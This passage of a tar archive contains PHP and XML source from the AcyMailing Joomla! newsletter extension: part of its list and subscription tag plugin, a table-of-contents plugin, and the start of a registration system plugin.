			$format = '%Y-%m-%d '.$action['sendhours'].':'.$action['sendminutes'].':00';
			if($action['status'] == 1 && !empty($action['delaynum'])){
				$listsubClass->campaigndelay = $timeFunction(strftime($format, strtotime('+'.intval($action['delaynum']).' '.$action['delaytype'])));
			}else{
				$listsubClass->campaigndelay = $timeFunction(strftime($format, $time));
			}
			if($listsubClass->campaigndelay < $time){
				$listsubClass->campaigndelay = 0;
			}else $listsubClass->campaigndelay -= $time;

			if(!empty($action['skipedfollowups'])){
				$action['skipedfollowups'] = intval($action['skipedfollowups']);
				if(!empty($action['skipedfollowups'])) $listsubClass->skipedfollowups = $action['skipedfollowups'];
			}
			$listsubClass->checkAccess = false;
			$listsubClass->sendNotif = false;
			$listsubClass->sendConf = false;
			foreach($subids as $subid){
				if(empty($action['status'])){
					$listsubClass->removeSubscription($subid, array($listid));
				}elseif($action['status'] == -1) $listsubClass->updateSubscription($subid, array('-1' => array($listid)));
				else $listsubClass->addSubscription($subid, array('1' => array($listid)));
			}
		}

		$nbsubscribed = count($subids);
		if(empty($action['status'])){
			return acymailing_translation_sprintf('IMPORT_REMOVE', $nbsubscribed, '<b><i>'.$myList->name.'</i></b>');
		}elseif($action['status'] == -1){
			return acymailing_translation_sprintf('NB_UNSUB_USERS', $nbsubscribed);
		}else{
			return acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $nbsubscribed, '<b><i>'.$myList->name.'</i></b>');
		}
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$this->_replacelisttags($email, $user, $send);

		if(empty($user->key) && !empty($user->subid)){
			$user->key = acymailing_generateKey(14);
			acymailing_query('UPDATE '.acymailing_table('subscriber').' SET `key`= '.acymailing_escapeDB($user->key).' WHERE subid = '.(int)$user->subid.' LIMIT 1');
		}

		if(!isset($user->key)) $user->key = '';

		if($this->unsubscribeLink && !$this->listunsubscribe && $this->params->get('listunsubscribe', 0) && method_exists($email, 'addCustomHeader')){
			$lang = empty($email->language) ? '' : '&lang='.$email->language;
			$myLink = 'index.php?subid='.intval($user->subid).'&option=com_acymailing&ctrl=user&task=out&mailid='.$email->mailid.'&key='.urlencode($user->key).$this->unsubscribeItem.$lang;
			
			$mainurl = acymailing_mainURL($myLink);
			$myLink = $mainurl.$myLink;
			if((bool)$this->params->get('unsubscribetemplate', false)) $myLink .= '&tmpl=component';

			$this->listunsubscribe = true;
			$mailto = $this->params->get('listunsubscribeemail');
			if(empty($mailto)) $mailto = @$email->replyemail;
			if(empty($mailto)){
				$config = acymailing_config();
				$mailto = $config->get('reply_email');
			}
			$email->addCustomHeader('List-Unsubscribe: <'.$myLink.'>, <mailto:'.$mailto.'?subject=unsubscribe_user_'.$user->subid.'&body=Please%20unsubscribe%20user%20ID%20'.$user->subid.'>');
		}
	}

	function acymailing_replacetags(&$email, $send = true){
		if(acymailing_getVar('none', 'task', '') == 'replacetags') return;
		
		$this->_replacesubscriptiontags($email);
		$this->_replacemailtags($email);
	}

	private function _replacemailtags(&$email){
		$variables = array('subject', 'body', 'altbody');
		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$result = $acypluginsHelper->extractTags($email, 'mail');
		$tags = array();

		foreach($result as $key => $oneTag){
			$field = $oneTag->id;
			if(!empty($email) && !empty($email->$field)){
				$text = $email->$field;
				$acypluginsHelper->formatString($text, $oneTag);
				$tags[$key] = $text;
			}else{
				$tags[$key] = $oneTag->default;
			}
		}

		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
		}
	}

	private function _replacelisttags(&$email, &$user, $send){
		if(!empty($email->ReplyTo)){
			$toDelete = 0;
			foreach($email->ReplyTo as $i => $replyto){
				if(trim($i) != '{list:members}') continue;
				$toDelete = $i;
				break;
			}
			if(!empty($toDelete)){
				unset($email->ReplyTo[$toDelete]);
				$acyConfig = acymailing_config();
				$listMembers = $this->loadlistmembers($email, $user);
				foreach($listMembers as $member){
					if($acyConfig->get('add_names', true) && !empty($member->name)){
						$replyToName = $email->cleanText(trim($member->name));
					}else{
						$replyToName = '';
					}
					$email->AddReplyTo($email->cleanText($member->email), $replyToName);
				}
			}
		}

		$this->acypluginsHelper = acymailing_get('helper.acyplugins');
		$tags = $this->acypluginsHelper->extractTags($email, 'list');
		if(empty($tags)) return;

		$replaceTags = array();
		foreach($tags as $oneTag => $parameter){
			$method = '_list'.trim(strtolower($parameter->id));

			if(method_exists($this, $method)){
				$replaceTags[$oneTag] = $this->$method($email, $user, $parameter);
			}else{
				$replaceTags[$oneTag] = 'Method not found : '.$method;
			}
		}

		$this->acypluginsHelper->replaceTags($email, $replaceTags, true);
	}

	private function _getattachedlistid($email, $subid){

		$mailid = $email->mailid;
		$type = strtolower($email->type);

		if(isset($this->lists[$mailid][$subid])) return $this->lists[$mailid][$subid];


		if($type == 'followup'){
			$listid = acymailing_loadResult('SELECT a.listid
							FROM #__acymailing_listsub AS a
							JOIN #__acymailing_listcampaign AS b
								ON a.listid = b.listid
							JOIN #__acymailing_listmail AS c
								ON b.campaignid = c.listid
							WHERE a.subid = '.intval($subid).'
								AND c.mailid = '.intval($mailid).'
							ORDER BY a.status DESC LIMIT 1');
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		if(in_array($type, array('news', 'autonews'))){
			if(!empty($subid)){
				$listid = acymailing_loadResult('SELECT a.listid FROM #__acymailing_listsub as a JOIN #__acymailing_listmail as b ON a.listid = b.listid WHERE a.subid = '.intval($subid).' AND b.mailid = '.intval($mailid).' ORDER BY a.status DESC LIMIT 1');
				if(!empty($listid)){
					$this->lists[$mailid][$subid] = $listid;
					return $listid;
				}
			}

			$listid = acymailing_loadResult('SELECT a.listid FROM #__acymailing_listmail as a JOIN #__acymailing_list as b ON a.listid = b.listid WHERE a.mailid = '.intval($mailid).' ORDER BY b.published DESC , b.visible DESC LIMIT 1');
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		if($type == 'welcome' && !empty($subid)){
			$listid = acymailing_loadResult('SELECT a.listid FROM #__acymailing_list as a JOIN #__acymailing_listsub as b ON a.listid = b.listid WHERE a.welmailid = '.intval($mailid).' AND b.subid = '.intval($subid).' ORDER BY b.subdate DESC LIMIT 1');
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		if($type == 'unsub' && !empty($subid)){
			$listid = acymailing_loadResult('SELECT a.listid FROM #__acymailing_list as a JOIN #__acymailing_listsub as b ON a.listid = b.listid WHERE a.unsubmailid = '.intval($mailid).' AND b.subid = '.intval($subid).' ORDER BY b.unsubdate DESC LIMIT 1');
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		$allLists = array_merge(acymailing_getVar('array', 'subscription', '', ''), explode(',', acymailing_getVar('string', 'hiddenlists', '', '')));
		$data = acymailing_getVar('array', 'data', '', '');
		if(!empty($data['listsub'])){
			$allLists = array_merge($allLists, array_keys($data['listsub']));
		}

		if(!empty($allLists) && in_array($type, array('unsub', 'welcome'))){
			acymailing_arrayToInteger($allLists);
			$listid = acymailing_loadResult('SELECT a.listid FROM #__acymailing_list as a WHERE (a.welmailid = '.intval($mailid).' OR unsubmailid = '.intval($mailid).') AND listid IN ('.implode(',', $allLists).') ORDER BY a.published DESC, a.visible DESC LIMIT 1');
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}

			$listid = acymailing_loadResult('SELECT a.listid FROM #__acymailing_list as a WHERE (a.welmailid = '.intval($mailid).' OR unsubmailid = '.intval($mailid).') ORDER BY a.published DESC, a.visible DESC LIMIT 1');
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		if(!empty($allLists)){
			foreach($allLists as $listid){
				if(!empty($listid)){
					$this->lists[$mailid][$subid] = intval($listid);
					return intval($listid);
				}
			}
		}

		if(!empty($subid)){
			$listid = acymailing_loadResult('SELECT a.listid FROM #__acymailing_listsub as a JOIN #__acymailing_list as b ON a.listid = b.listid WHERE a.subid = '.intval($subid).' ORDER BY b.published DESC , b.visible DESC LIMIT 1');
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}
	}


	private function _listcount(&$email, &$user, &$parameter){
		if(!isset($parameter->listid)){
			$listid = $this->_getattachedlistid($email, $user->subid);
		}else{
			$listid = $parameter->listid;
		}

		if(empty($listid)){
			return acymailing_loadResult('SELECT COUNT(subid) FROM #__acymailing_subscriber');
		}else{
			return acymailing_loadResult('SELECT COUNT(subid) FROM #__acymailing_listsub WHERE listid = '.intval($listid).' AND status = 1');
		}
	}

	private function _listsubscription(&$email, &$user, &$parameter){
		if(empty($user->subid)) return "";
		$listSubClass = acymailing_get('class.listsub');
		return $listSubClass->getSubscriptionString($user->subid);
	}

	private function _listnames(&$email, &$user, &$parameter){
		if(empty($user->subid)) return "";
		$listSubClass = acymailing_get('class.listsub');
		$usersubscription = $listSubClass->getSubscription($user->subid);
		if(empty($usersubscription)){
			$subscribedLists = $this->_getFormListNames();
			if(empty($subscribedLists)) return '';
			return implode(isset($parameter->separator) ? $parameter->separator : ', ', $subscribedLists);
		}
		$lists = array();
		if(!empty($usersubscription)){
			foreach($usersubscription as $onesub){
				if($onesub->status < 1 || empty($onesub->published)) continue;
				$lists[] = $onesub->name;
			}
		}
		return implode(isset($parameter->separator) ? $parameter->separator : ', ', $lists);
	}


	private function _getFormListNames(){
		$allLists = array_merge(acymailing_getVar('array', 'subscription', '', ''), explode(',', acymailing_getVar('string', 'hiddenlists', '', '')));
		$data = acymailing_getVar('array', 'data', '', '');
		if(!empty($data['listsub'])){
			foreach($data['listsub'] as $i => $oneList){
				if($oneList['status'] != 1) unset($data['listsub'][$i]);
			}
			$allLists = array_merge($allLists, array_keys($data['listsub']));
		}
		if(empty($allLists)) return array();

		acymailing_arrayToInteger($allLists);
		foreach($allLists as $i => $oneList){
			if(empty($oneList)) unset($allLists[$i]);
		}
		if(empty($allLists)) return array();

		return acymailing_loadResultArray('SELECT name FROM #__acymailing_list WHERE listid IN ('.implode(',', $allLists).')');
	}

	private function _listowner(&$email, &$user, &$parameter){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return "";

		if(!isset($this->listsowner[$listid])){
			$this->listsowner[$listid] = acymailing_loadObject('SELECT u.* FROM #__acymailing_list as list JOIN #__users as u ON u.id = list.userid WHERE list.listid = '.intval($listid));
		}

		if(!in_array($parameter->field, array('username', 'name', 'email'))) return 'Field not found : '.$parameter->field;
		return @$this->listsowner[$listid]->{$parameter->field};
	}

	private function _loadlist($listid){
		if(isset($this->listsinfo[$listid])) return;

		$this->listsinfo[$listid] = acymailing_loadObject('SELECT * FROM #__acymailing_list WHERE listid = '.intval($listid));
	}

	private function _listname(&$email, &$user, &$parameter){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return "No list => no name!";

		$this->_loadlist($listid);

		return @$this->listsinfo[$listid]->name;
	}

	private function _listdescription(&$email, &$user, &$parameter){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return "No list => no description!";

		$this->_loadlist($listid);

		return @$this->listsinfo[$listid]->description;
	}

	private function _listid(&$email, &$user, &$parameter){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return "No list => no ID!";

		return $listid;
	}

	private function loadlistmembers(&$email, &$user){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return array();

		return acymailing_loadObjectList('SELECT s.email, s.name FROM #__acymailing_listsub AS l JOIN #__acymailing_subscriber AS s ON s.subid=l.subid WHERE l.listid='.intval($listid).' AND l.status=1 AND s.enabled=1 AND s.accept=1');
	}

	private function _replacesubscriptiontags(&$email){
		$match = '#(?:{|%7B)(modify[^}]*|confirm[^}]*|unsubscribe(?:\|[^}]*)?|subscribe[^}]*)(?:}|%7D)(.*)(?:{|%7B)/(modify|confirm|unsubscribe|subscribe)(?:}|%7D)#Uis';
		$variables = array('subject', 'body', 'altbody');
		$found = false;
		$results = array();
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;

		$tags = array();
		$this->listunsubscribe = false;
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				$tags[$oneTag] = $this->replaceSubscriptionTag($allresults, $i, $email);
			}
		}

		foreach(array_keys($results) as $var){
			$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
		}
	}

	function replaceSubscriptionTag(&$allresults, $i, &$email){
		$config = acymailing_config();
		$lang = empty($email->language) ? '' : '&lang='.$email->language;

		$parameters = $this->acypluginsHelper->extractTag($allresults[1][$i]);
		$itemId = $this->params->get(strtolower($parameters->id).'itemid', $config->get('itemid', 0));
		$itemId = empty($parameters->itemid) ? $itemId : intval($parameters->itemid);
		$item = empty($itemId) ? '' : '&Itemid='.$itemId;

		if($parameters->id == 'confirm'){ //confirm your subscription link
			$myLink = acymailing_frontendLink('index.php?subid={subtag:subid}&option=com_acymailing&ctrl=user&task=confirm&key={subtag:key|urlencode}'.$item.$lang, true, (bool)$this->params->get('confirmtemplate', false));
			if(empty($allresults[2][$i])) return $myLink;
			return '<a target="_blank" href="'.$myLink.'">'.$allresults[2][$i].'</a>';
		}elseif($parameters->id == 'modify'){ //modify your subscription link
			$myLink = acymailing_frontendLink('index.php?subid={subtag:subid}&option=com_acymailing&ctrl=user&task=modify&key={subtag:key|urlencode}'.$item.$lang, true, (bool)$this->params->get('modifytemplate', false));
			if(empty($allresults[2][$i])) return $myLink;
			return '<a style="text-decoration:none;" target="_blank" href="'.$myLink.'"><span class="acymailing_modify">'.$allresults[2][$i].'</span></a>';
		}elseif($parameters->id == 'subscribe'){ //add a direct subscription link
			if(empty($parameters->lists)) return 'You must select at least one list';
			$lists = explode(',', $parameters->lists);
			acymailing_arrayToInteger($lists);
			$captchaKey = $config->get('captcha_enabled') ? '&seckey='.$config->get('security_key', '') : '';
			$myLink = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=sub&task=optin&hiddenlists='.implode(',', $lists).'&user[email]={subtag:email|urlencode}'.$item.$lang.$captchaKey);
			if(empty($allresults[2][$i])) return $myLink;
			return '<a style="text-decoration:none;" target="_blank" href="'.$myLink.'"><span class="acymailing_sub">'.$allresults[2][$i].'</span></a>';
		}//unsubscribe link
		$myLink = acymailing_frontendLink('index.php?subid={subtag:subid}&option=com_acymailing&ctrl=user&task=out&mailid='.$email->mailid.'&key={subtag:key|urlencode}'.$item.$lang, true, (bool)$this->params->get('unsubscribetemplate', false));

		$this->unsubscribeLink = true;
		$this->unsubscribeItem = $item;

		if(empty($allresults[2][$i])) return $myLink;
		return '<a style="text-decoration:none;" target="_blank" href="'.$myLink.'"><span class="acymailing_unsub">'.$allresults[2][$i].'</span></a>';
	}
}//endclass
com_acymailing/extensions/plg_acymailing_tablecontents/index.html000060400000000054152455305300021614 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_tablecontents/tablecontents.xml000060400000003330152455305300023206 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing table of contents generator</name>
	<creationDate>January 2011</creationDate>
	<version>1.0.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to generate table of contents</description>
	<files>
		<filename plugin="tablecontents">tablecontents.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tablecontents"/>
		<param name="divider" type="radio" default="br" label="Divider" description="Separator added between each link">
			<option value="br">Carriage return</option>
			<option value="space">Space</option>
			<option value="li">ul / li</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tablecontents"/>
				<field name="divider" type="radio" default="br" label="Divider" description="Separator added between each link">
					<option value="br">Carriage return</option>
					<option value="space">Space</option>
					<option value="li">ul / li</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_tablecontents/tablecontents.php000060400000021112152455305300023173 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
defined('_JEXEC') or die('Restricted access');

class plgAcymailingTablecontents extends JPlugin{

	var $noResult = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tablecontents');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('ACY_TABLECONTENTS');
		$onePlugin->function = 'acymailingtablecontents_show';
		$onePlugin->help = 'plugin-tablecontents';

		return $onePlugin;
	}

	function acymailingtablecontents_show(){

		$contenttype = array();
		$contenttype[] = acymailing_selectOption('', acymailing_translation('ACY_EXISTINGANCHOR'));
		for($i = 1; $i < 6; $i++){
			$contenttype[] = acymailing_selectOption("|type:h".$i, 'H'.$i);
		}
		$contenttype[] = acymailing_selectOption('class', acymailing_translation('CLASS_NAME'));

		$contentsubtype = array();
		$contentsubtype[] = acymailing_selectOption('', acymailing_translation('ACY_NONE'));
		for($i = 1; $i < 6; $i++){
			$contentsubtype[] = acymailing_selectOption("|subtype:h".$i, 'H'.$i);
		}
		$contentsubtype[] = acymailing_selectOption('class', acymailing_translation('CLASS_NAME'));

		?>

		<script language="javascript" type="text/javascript">
			<!--
			function updateTag(){
				var tag = '{tableofcontents';
				if(document.adminForm.contenttype.value){
					if(document.adminForm.contenttype.value == 'class'){
						document.adminForm.classvalue.style.display = '';
						tag += '|class:' + document.adminForm.classvalue.value;
					}else{
						document.adminForm.classvalue.style.display = 'none';
						tag += document.adminForm.contenttype.value;
					}
				}
				if(document.adminForm.contentsubtype.value){
					if(document.adminForm.contentsubtype.value == 'class'){
						document.adminForm.subclassvalue.style.display = '';
						tag += '|subclass:' + document.adminForm.subclassvalue.value;
					}else{
						document.adminForm.subclassvalue.style.display = 'none';
						tag += document.adminForm.contentsubtype.value;
					}
				}
				tag += '}';

				setTag(tag);
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('ACY_GENERATEANCHOR'); ?></span>
			<table width="100%" class="acymailing_table">
				<tr>
					<td><?php echo acymailing_translation_sprintf('ACY_LEVEL', 1)?></td>
					<td><?php echo acymailing_select($contenttype, 'contenttype', 'size="1" onchange="updateTag();"', 'value', 'text'); ?><input type="text" style="display:none" onchange="updateTag();" name="classvalue"/></td>
				</tr>
				<tr>
					<td><?php echo acymailing_translation_sprintf('ACY_LEVEL', 2)?></td>
					<td><?php echo acymailing_select($contentsubtype, 'contentsubtype', 'size="1" onchange="updateTag();"', 'value', 'text'); ?><input type="text" style="display:none" onchange="updateTag();" name="subclassvalue"/></td>
				</tr>
			</table>
		</div>
		<?php
		acymailing_addScript(true, "document.addEventListener(\"DOMContentLoaded\", function(){ updateTag(); });");
	}


	function acymailing_replaceusertags(&$email, &$user, $send = true){

		if(isset($this->noResult[intval($email->mailid)])) return;

		$match = '#{tableofcontents(.*)}#Ui';

		$variables = array('subject', 'body', 'altbody');

		$found = false;
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found){
			$this->noResult[intval($email->mailid)] = true;
			return;
		}

		$mailerHelper = acymailing_get('helper.mailer');

		$htmlreplace = array();
		$textreplace = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($htmlreplace[$oneTag])) continue;

				$article = $this->_generateTable($allresults, $i, $email);
				$htmlreplace[$oneTag] = $article;
				$textreplace[$oneTag] = $mailerHelper->textVersion($article);
				$subjectreplace[$oneTag] = strip_tags($article);
			}
		}
		$email->body = str_replace(array_keys($htmlreplace), $htmlreplace, $email->body);
		$email->altbody = str_replace(array_keys($textreplace), $textreplace, $email->altbody);
		$email->subject = str_replace(array_keys($subjectreplace), $subjectreplace, $email->subject);
	}

	function _generateTable(&$results, $i, &$email){

		$arguments = explode('|', strip_tags($results[1][$i]));
		$tag = new stdClass();
		$tag->divider = $this->params->get('divider', 'br');
		$tag->before = '';
		$tag->after = '';
		$tag->subdivider = $this->params->get('divider', 'br');
		$tag->subbefore = '';
		$tag->subafter = '';
		for($i = 1, $a = count($arguments); $i < $a; $i++){
			$args = explode(':', $arguments[$i]);
			if(isset($args[1])){
				$tag->{$args[0]} = $args[1];
			}else{
				$tag->{$args[0]} = true;
			}
		}

		if($tag->divider == 'br'){
			$tag->divider = '<br />';
			$tag->subbefore = $tag->subdivider = '<br /> - ';
		}elseif($tag->divider == 'space'){
			$tag->subdivider = ', ';
			$tag->divider = ' ';
			$tag->subbefore = ' ( ';
			$tag->subafter = ' ) ';
		}elseif($tag->divider == 'li'){
			$tag->subdivider = $tag->divider = '</li><li>';
			$tag->subbefore = $tag->before = '<ul><li>';
			$tag->subafter = $tag->after = '</li></ul>';
		}

		$this->updateMail = array();
		$this->links = array();
		$this->sublinks = array();
		$anchorLinks = $this->_findLinks($tag, $email);
		if(!empty($tag->subtype) || !empty($tag->subclass)){
			$anchorSubLinks = $this->_findLinks($tag, $email, true);
			if(empty($this->links)){
				$this->links = $this->sublinks;
				unset($this->sublinks);
			}
		}

		$links = $this->links;
		if(!empty($tag->limit)){
			$links = array_slice($links, 0, $tag->limit);
		}

		if(empty($links)) return '';
		if(!empty($this->updateMail)) $email->body = str_replace(array_keys($this->updateMail), $this->updateMail, $email->body);

		if(!empty($this->sublinks)){
			$sublinks = $this->sublinks;
			foreach($links as $ilink => $oneLink){
				$allsublinks = array();
				$from = $anchorLinks['pos'][$ilink];
				$to = empty($anchorLinks['pos'][$ilink + 1]) ? 9999999999999 : $anchorLinks['pos'][$ilink + 1];
				foreach($sublinks as $isublink => $oneSubLink){
					if($anchorSubLinks['pos'][$isublink] > $to) break;
					if($anchorSubLinks['pos'][$isublink] > $from) $allsublinks[] = $oneSubLink;
				}
				if(!empty($allsublinks)) $links[$ilink] = $links[$ilink].$tag->subbefore.implode($tag->subdivider, $allsublinks).$tag->subafter;
			}
		}

		$result = '<div class="tableofcontents">'.$tag->before.implode($tag->divider, $links).$tag->after.'</div>';
		if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'tablecontents.php')){
			ob_start();
			require(ACYMAILING_MEDIA.'plugins'.DS.'tablecontents.php');
			$result = ob_get_clean();
		}
		return $result;
	}

	function _findLinks(&$tag, &$email, $sub = false){
		if($sub){
			$varType = 'subtype';
			$varClass = 'subclass';
			$varLink = &$this->sublinks;
		}else{
			$varType = 'type';
			$varClass = 'class';
			$varLink = &$this->links;
		}
		if(!empty($tag->$varType)){
			preg_match_all('#<'.$tag->$varType.'[^>]*>((?!</ *'.$tag->$varType.'>).)*</ *'.$tag->$varType.'>#Uis', $email->body, $anchorresults);
		}elseif(!empty($tag->class)){
			preg_match_all('#<[^>]*class="'.$tag->$varClass.'"[^>]*>(<[^>]*>|[^<>])*</.*>#Uis', $email->body, $anchorresults);
			$tag->$varType = 'item';
		}else{
			preg_match_all('#<a[^>]*name="([^">]*)"[^>]*>((?!</ *a>).)*</ *a>#Uis', $email->body, $anchorresults);
		}

		if(empty($anchorresults)) return '';


		foreach($anchorresults[0] as $i => $oneContent){
			$anchorresults['pos'][$i] = strpos($email->body, $oneContent);
			$linktext = strip_tags($oneContent);
			if(empty($linktext)) continue;
			if(empty($tag->$varType)){
				$varLink[$i] = '<a href="#'.$anchorresults[1][$i].'" class="oneitem" >'.$linktext.'</a>';
			}else{
				$varLink[$i] = '<a href="#'.$tag->$varType.$i.'" class="oneitem oneitem'.$tag->$varType.'" >'.$linktext.'</a>';
				if(preg_match('#<a[^>]*>[^<]*'.preg_quote($oneContent, '#').'#Uis', $email->body, $linkBefore)){
					$this->updateMail[$linkBefore[0]] = '<a name="'.$tag->$varType.$i.'"></a>'.$linkBefore[0];
				}else{
					$this->updateMail[$oneContent] = '<a name="'.$tag->$varType.$i.'"></a>'.$oneContent;
				}
			}
		}

		return $anchorresults;
	}
}//endclass
com_acymailing/extensions/plg_system_regacymailing/regacymailing.php000060400000123414152455305300022326 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgSystemRegacymailing extends JPlugin{
	var $option = '';
	var $view = '';

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
	}

	function initAcy(){
		if(!include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')) return false;

		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'regacymailing');
			$this->params = new acyParameter($plugin->params);
		}

		return true;
	}

	function onAfterRoute(){
		if(!empty($_POST['option']) && $_POST['option'] == 'com_virtuemart' && !empty($_POST['func']) && $_POST['func'] == 'shopperupdate'){
			if($this->initAcy() === false) return true;
			$this->_updateVM();
		}

		if(!empty($_REQUEST['option']) && $_REQUEST['option'] == 'com_community' && !empty($_REQUEST['task']) && ($_REQUEST['task'] == 'register_save' || $_REQUEST['task'] == 'save')){
			if($this->initAcy() === false) return true;
			$this->_saveInSession();
		}

		if(!empty($_REQUEST['option']) && $_REQUEST['option'] == 'com_jblance' && !empty($_REQUEST['layout']) && in_array($_REQUEST['layout'], array('showfront', 'planadd'))){
			if($this->initAcy() === false) return true;
			$this->_saveInSession();
		}

		if(!empty($_REQUEST['option']) && in_array($_REQUEST['option'], array('com_user', 'com_users')) && !empty($_REQUEST['view']) && in_array($_REQUEST['view'], array('register', 'registration', 'profile', 'user'))){
			if($this->initAcy() === false) return true;
			$fieldsClass = acymailing_get('class.fields');
			$fieldsClass->origin = 'joomla';
			$user = new stdClass();

			$taskVar = ACYMAILING_J16 ? 'layout' : 'task';

			if(acymailing_isAdmin()){
				if($_REQUEST['view'] == 'user' && !empty($_REQUEST[$taskVar]) && $_REQUEST[$taskVar] == 'edit'){
					$extraFields = $fieldsClass->getFields('joomlaprofile', $user);
				}
			}else{
				if(in_array($_REQUEST['view'], array('register', 'registration'))){
					$extraFields = $fieldsClass->getFields('frontjoomlaregistration', $user);
				}elseif(in_array($_REQUEST['view'], array('user', 'profile')) && (!empty($_REQUEST[$taskVar]) && $_REQUEST[$taskVar] == 'edit')){
					$extraFields = $fieldsClass->getFields('frontjoomlaprofile', $user);
				}
			}

			if(!empty($extraFields)){
				foreach($extraFields as $oneField){
					if($oneField->type != 'date') continue;
					JHTML::_('behavior.calendar');
					break;
				}
			}
		}
	}

	private function _saveInSession(){
		$acysub = acymailing_getVar('array', 'acysub', array(), '');
		$session = JFactory::getSession();
		if(!empty($acysub)){
			$session->set('acysub', $acysub);
		}

		$acysubhidden = acymailing_getVar('string', 'acysubhidden');
		if(!empty($acysubhidden)){
			$session->set('acysubhidden', $acysubhidden);
		}

		$regacy = acymailing_getVar('array', 'regacy', array(), '');
		if(!empty($regacy)){
			$session->set('regacy', $regacy);
		}
	}

	private function _updateVM(){
		$currentUserid = acymailing_currentUserId();
		if(empty($currentUserid)) return;

		$acylistsdisplayed = acymailing_getVar('string', 'acylistsdisplayed_dispall').','.acymailing_getVar('string', 'acylistsdisplayed_onecheck');
		if(strlen($acylistsdisplayed) < 2) return;
		$listsDisplayed = explode(',', $acylistsdisplayed);
		acymailing_arrayToInteger($listsDisplayed);
		if(empty($listsDisplayed)) return;

		$userClass = acymailing_get('class.subscriber');

		$subid = $userClass->subid($currentUserid);
		if(empty($subid)) return; //The user should already be there

		$visiblelistschecked = acymailing_getVar('array', 'acysub', array(), '');
		$acySubHidden = acymailing_getVar('string', 'acysubhidden');
		if(!empty($acySubHidden)){
			$visiblelistschecked = array_merge($visiblelistschecked, explode(',', $acySubHidden));
		}

		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid');
		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$formLists = array();
		foreach($listsDisplayed as $listidDisplayed){
			$newlists = array();
			$newlists['status'] = in_array($listidDisplayed, $visiblelistschecked) ? '1' : '-1';
			$formLists[$listidDisplayed] = $newlists;
		}

		$userClass->saveSubscription($subid, $formLists);
	}

	function _getVmVersion(){
